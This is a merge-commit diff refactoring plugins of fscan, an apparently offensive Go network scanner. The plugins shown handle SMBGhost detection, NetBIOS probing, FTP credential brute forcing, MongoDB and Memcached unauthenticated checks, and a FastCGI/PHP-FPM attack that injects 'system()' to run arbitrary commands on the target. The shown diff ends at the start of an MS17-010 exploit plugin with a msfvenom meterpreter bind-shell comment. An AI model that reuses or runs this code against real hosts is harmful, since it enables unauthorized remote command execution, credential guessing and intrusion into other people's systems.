Merge pull request #1 from artemkomyshan/refactoring

Refactoring
This commit is contained in:
Andrii Ursulenko 2023-07-26 12:19:49 +03:00 committed by GitHub
commit 1e01f27a99
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
36 changed files with 850 additions and 1144 deletions

View File

@ -94,18 +94,18 @@ const (
"\x00\x00\x00\x00" "\x00\x00\x00\x00"
) )
func SmbGhost(info *common.HostInfo) error { func SmbGhost(info common.HostInfo, flags common.Flags) error {
if common.IsBrute { if flags.IsBrute {
return nil return nil
} }
err := SmbGhostScan(info) err := SmbGhostScan(info, flags)
return err return err
} }
func SmbGhostScan(info *common.HostInfo) error { func SmbGhostScan(info common.HostInfo, flags common.Flags) error {
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second ip, port, timeout := info.Host, 445, time.Duration(flags.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port) addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, timeout)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -119,12 +119,15 @@ func SmbGhostScan(info *common.HostInfo) error {
return err return err
} }
buff := make([]byte, 1024) buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
_ = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff) n, err := conn.Read(buff)
if err != nil { if err != nil {
return err return err
} }
if bytes.Contains(buff[:n], []byte("Public")) == true {
if bytes.Contains(buff[:n], []byte("Public")) {
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result) common.LogSuccess(result)

View File

@ -4,29 +4,30 @@ import (
"bytes" "bytes"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3"
"net" "net"
"strconv" "strconv"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3"
) )
var netbioserr = errors.New("netbios error") var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *common.HostInfo) error { func NetBIOS(info common.HostInfo, flags common.Flags) error {
netbios, _ := NetBIOS1(info) netbios, _ := NetBIOS1(info, flags)
output := netbios.String() output := netbios.String()
if len(output) > 0 { if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios: %-15s %s", info.Host, output) result := fmt.Sprintf("[*] NetBios: %-15s %s", info.Host, output)
common.LogSuccess(result) common.LogSuccess(result)
return nil return nil
} }
return netbioserr return errNetBIOS
} }
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info) netbios, err = GetNbnsname(info, flags.Timeout)
var payload0 []byte var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" { if netbios.ServerService != "" || netbios.WorkstationService != "" {
ss := netbios.ServerService ss := netbios.ServerService
@ -40,7 +41,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
} }
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn var conn net.Conn
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) conn, err = common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -49,7 +50,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
if err != nil { if err != nil {
return return
} }
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil { if err != nil {
return return
} }
@ -88,11 +89,11 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
return return
} }
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { func GetNbnsname(info common.HostInfo, timeout int64) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host) realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) conn, err := net.DialTimeout("udp", realhost, time.Duration(timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -101,7 +102,7 @@ func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
if err != nil { if err != nil {
return return
} }
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
if err != nil { if err != nil {
return return
} }
@ -208,7 +209,7 @@ type NetBiosInfo struct {
NetComputerName string `yaml:"NetBiosComputerName"` NetComputerName string `yaml:"NetBiosComputerName"`
} }
func (info *NetBiosInfo) String() (output string) { func (info NetBiosInfo) String() (output string) {
var text string var text string
//ComputerName 信息比较全 //ComputerName 信息比较全
if info.ComputerName != "" { if info.ComputerName != "" {
@ -249,7 +250,7 @@ func (info *NetBiosInfo) String() (output string) {
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) { func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
if len(input) < 57 { if len(input) < 57 {
err = netbioserr err = errNetBIOS
return return
} }
data := input[57:] data := input[57:]
@ -281,7 +282,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
} }
} }
if len(msg) == 0 { if len(msg) == 0 {
err = netbioserr err = errNetBIOS
return return
} }
err = yaml.Unmarshal([]byte(msg), &netbios) err = yaml.Unmarshal([]byte(msg), &netbios)
@ -293,7 +294,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) { func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
if len(ret) < 47 { if len(ret) < 47 {
err = netbioserr err = errNetBIOS
return return
} }
var num1, num2 int var num1, num2 int
@ -328,7 +329,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
return return
} }
length = num1 + num2*256 length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0]) _, err = bytetoint(ret[start+44 : start+45][0])
if err != nil { if err != nil {
return return
} }

View File

@ -6,34 +6,35 @@ import (
"encoding/binary" "encoding/binary"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"io" "io"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
//links //links
//https://xz.aliyun.com/t/9544 //https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits //https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) { func FcgiScan(info common.HostInfo, flags common.Flags) {
if common.IsBrute { if flags.IsBrute {
return return
} }
url := "/etc/issue" url := "/etc/issue"
if common.Path != "" { if flags.Path != "" {
url = common.Path url = flags.Path
} }
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n" var cutLine = "-----ASDGTasdkk361363s-----\n"
switch { switch {
case common.Command == "read": case flags.Command == "read":
reqParams = "" reqParams = ""
case common.Command != "": case flags.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>" reqParams = "<?php system('" + flags.Command + "');die('" + cutLine + "');?>"
default: default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>" reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
} }
@ -54,7 +55,7 @@ func FcgiScan(info *common.HostInfo) {
env["REQUEST_METHOD"] = "GET" env["REQUEST_METHOD"] = "GET"
} }
fcgi, err := New(addr, common.Timeout) fcgi, err := New(addr, flags)
defer func() { defer func() {
if fcgi.rwc != nil { if fcgi.rwc != nil {
fcgi.rwc.Close() fcgi.rwc.Close()
@ -93,21 +94,21 @@ func FcgiScan(info *common.HostInfo) {
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions) //Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string var result string
var output = string(stdout) var output = string(stdout)
if strings.Contains(string(stdout), cutLine) { //命令成功回显 if strings.Contains(output, cutLine) { // 命令成功回显
output = strings.SplitN(string(stdout), cutLine, 2)[0] out := strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out)
}
common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
if len(stderr) > 0 { if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else { } else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output) result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
} }
common.LogSuccess(result) common.LogSuccess(result)
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
}
common.LogSuccess(result)
} }
} }
@ -182,8 +183,8 @@ type FCGIClient struct {
keepAlive bool keepAlive bool
} }
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { func New(addr string, flags common.Flags) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
fcgi = &FCGIClient{ fcgi = &FCGIClient{
rwc: conn, rwc: conn,
keepAlive: false, keepAlive: false,
@ -191,38 +192,31 @@ func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
return return
} }
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
this.mutex.Lock() c.mutex.Lock()
defer this.mutex.Unlock() defer c.mutex.Unlock()
this.buf.Reset() c.buf.Reset()
this.h.init(recType, reqId, len(content)) c.h.init(recType, reqId, len(content))
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil { if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
return err return err
} }
if _, err := this.buf.Write(content); err != nil { if _, err := c.buf.Write(content); err != nil {
return err return err
} }
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil { if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
return err return err
} }
_, err = this.rwc.Write(this.buf.Bytes()) _, err = c.rwc.Write(c.buf.Bytes())
return err return err
} }
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags} b := [8]byte{byte(role >> 8), byte(role), flags}
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
} }
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
b := make([]byte, 8) w := newWriter(c, recType, reqId)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(this, recType, reqId)
b := make([]byte, 8) b := make([]byte, 8)
for k, v := range pairs { for k, v := range pairs {
n := encodeSize(b, uint32(len(k))) n := encodeSize(b, uint32(len(k)))
@ -241,29 +235,6 @@ func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string
return nil return nil
} }
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int { func encodeSize(b []byte, size uint32) int {
if size > 127 { if size > 127 {
size |= 1 << 31 size |= 1 << 31
@ -324,21 +295,21 @@ func (w *streamWriter) Close() error {
return w.c.writeRecord(w.recType, w.reqId, nil) return w.c.writeRecord(w.recType, w.reqId, nil)
} }
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1 var reqId uint16 = 1
defer this.rwc.Close() defer c.rwc.Close()
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil { if err != nil {
return return
} }
err = this.writePairs(FCGI_PARAMS, reqId, env) err = c.writePairs(FCGI_PARAMS, reqId, env)
if err != nil { if err != nil {
return return
} }
if len(reqStr) > 0 { if len(reqStr) > 0 {
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil { if err != nil {
return return
} }
@ -348,23 +319,26 @@ func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []
var err1 error var err1 error
// recive untill EOF or FCGI_END_REQUEST // recive untill EOF or FCGI_END_REQUEST
OUTER:
for { for {
err1 = rec.read(this.rwc) err1 = rec.read(c.rwc)
if err1 != nil { if err1 != nil {
if err1 != io.EOF { if err1 != io.EOF {
err = err1 err = err1
} }
break break
} }
switch {
case rec.h.Type == FCGI_STDOUT: switch rec.h.Type {
case FCGI_STDOUT:
retout = append(retout, rec.content()...) retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR: case FCGI_STDERR:
reterr = append(reterr, rec.content()...) reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST: case FCGI_END_REQUEST:
fallthrough fallthrough
default: default:
break break OUTER
} }
} }

View File

@ -4,9 +4,10 @@ import (
"bytes" "bytes"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
var ( var (
@ -15,14 +16,14 @@ var (
bufferV3, _ = hex.DecodeString("0900ffff0000") bufferV3, _ = hex.DecodeString("0900ffff0000")
) )
func Findnet(info *common.HostInfo) error { func Findnet(info common.HostInfo, flags common.Flags) error {
err := FindnetScan(info) err := FindnetScan(info, flags)
return err return err
} }
func FindnetScan(info *common.HostInfo) error { func FindnetScan(info common.HostInfo, flags common.Flags) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135) realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -31,7 +32,7 @@ func FindnetScan(info *common.HostInfo) error {
if err != nil { if err != nil {
return err return err
} }
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil { if err != nil {
return err return err
} }

View File

@ -2,19 +2,20 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
) )
func FtpScan(info *common.HostInfo) (tmperr error) { func FtpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return return
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "") flag, err := FtpConn(info, "anonymous", "", flags.Timeout)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err) errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
@ -28,8 +29,8 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["ftp"] { for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass) flag, err := FtpConn(info, user, pass, flags.Timeout)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err) errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -38,7 +39,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
@ -47,10 +48,10 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func FtpConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second))
if err == nil { if err == nil {
err = conn.Login(Username, Password) err = conn.Login(Username, Password)
if err == nil { if err == nil {

View File

@ -3,15 +3,16 @@ package Plugins
import ( import (
"bytes" "bytes"
"fmt" "fmt"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"net" "net"
"os/exec" "os/exec"
"runtime" "runtime"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
) )
var ( var (
@ -21,14 +22,14 @@ var (
livewg sync.WaitGroup livewg sync.WaitGroup
) )
func CheckLive(hostslist []string, Ping bool) []string { func CheckLive(hostslist []string, ping bool, liveTop int) []string {
chanHosts := make(chan string, len(hostslist)) chanHosts := make(chan string, len(hostslist))
go func() { go func() {
for ip := range chanHosts { for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{} ExistHosts[ip] = struct{}{}
if !common.Silent { if !common.Silent {
if !Ping { if !ping {
color.Green("(icmp) Target %-15s is alive\n", ip) color.Green("(icmp) Target %-15s is alive\n", ip)
} else { } else {
color.Green("(ping) Target %-15s is alive\n", ip) color.Green("(ping) Target %-15s is alive\n", ip)
@ -40,17 +41,17 @@ func CheckLive(hostslist []string, Ping bool) []string {
} }
}() }()
if Ping == true { if ping {
//使用ping探测 // use ping detection
RunPing(hostslist, chanHosts) RunPing(hostslist, chanHosts)
} else { } else {
//优先尝试监听本地icmp,批量探测 // try to listen to local icmp first, batch detection
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil { if err == nil {
RunIcmp1(hostslist, conn, chanHosts) RunIcmp1(hostslist, conn, chanHosts)
} else { } else {
common.LogError(err) common.LogError(err)
//尝试无监听icmp探测 // Try no listening icmp probe
fmt.Println("trying RunIcmp2") fmt.Println("trying RunIcmp2")
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
defer func() { defer func() {
@ -62,7 +63,7 @@ func CheckLive(hostslist []string, Ping bool) []string {
RunIcmp2(hostslist, chanHosts) RunIcmp2(hostslist, chanHosts)
} else { } else {
common.LogError(err) common.LogError(err)
//使用ping探测 // use ping detection
fmt.Println("The current user permissions unable to send icmp packets") fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping") fmt.Println("start ping")
RunPing(hostslist, chanHosts) RunPing(hostslist, chanHosts)
@ -74,14 +75,14 @@ func CheckLive(hostslist []string, Ping bool) []string {
close(chanHosts) close(chanHosts)
if len(hostslist) > 1000 { if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true) arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, true)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i]) output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
common.LogSuccess(output) common.LogSuccess(output)
} }
} }
if len(hostslist) > 256 { if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false) arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, false)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i]) output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
common.LogSuccess(output) common.LogSuccess(output)
@ -95,7 +96,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
endflag := false endflag := false
go func() { go func() {
for { for {
if endflag == true { if endflag {
return return
} }
msg := make([]byte, 100) msg := make([]byte, 100)
@ -118,7 +119,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
if len(AliveHosts) == len(hostslist) { if len(AliveHosts) == len(hostslist) {
break break
} }
since := time.Now().Sub(start) since := time.Since(start)
var wait time.Duration var wait time.Duration
switch { switch {
case len(hostslist) <= 256: case len(hostslist) <= 256:
@ -298,7 +299,7 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
} }
i := 0 i := 0
for _ = range arrMap1 { for range arrMap1 {
var maxCountKey string var maxCountKey string
var maxCountVal = 0 var maxCountVal = 0
for key, val := range arrMap2 { for key, val := range arrMap2 {

View File

@ -2,21 +2,22 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func MemcachedScan(info *common.HostInfo) (err error) { func MemcachedScan(info common.HostInfo, flags common.Flags) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) client, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() { defer func() {
if client != nil { if client != nil {
client.Close() client.Close()
} }
}() }()
if err == nil { if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = client.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err == nil { if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil { if err == nil {

View File

@ -2,16 +2,17 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func MongodbScan(info *common.HostInfo) error { func MongodbScan(info common.HostInfo, flags common.Flags) error {
if common.IsBrute { if flags.IsBrute {
return nil return nil
} }
_, err := MongodbUnauth(info) _, err := MongodbUnauth(info, flags)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog) common.LogError(errlog)
@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error {
return err return err
} }
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err error) {
flag = false flag = false
// op_msg // op_msg
packet1 := []byte{ packet1 := []byte{
@ -48,7 +49,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
checkUnAuth := func(address string, packet []byte) (string, error) { checkUnAuth := func(address string, packet []byte) (string, error) {
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
if err != nil { if err != nil {
return "", err return "", err
} }
@ -57,7 +58,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
conn.Close() conn.Close()
} }
}() }()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil { if err != nil {
return "", err return "", err
} }

View File

@ -5,18 +5,19 @@ import (
"encoding/binary" "encoding/binary"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"io" "io"
"io/ioutil"
"net" "net"
"os"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func MS17010EXP(info *common.HostInfo) { func MS17010EXP(info common.HostInfo, flags common.Flags) {
address := info.Host + ":445" address := info.Host + ":445"
var sc string var sc string
switch common.SC { switch flags.SC {
case "bind": case "bind":
//msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex
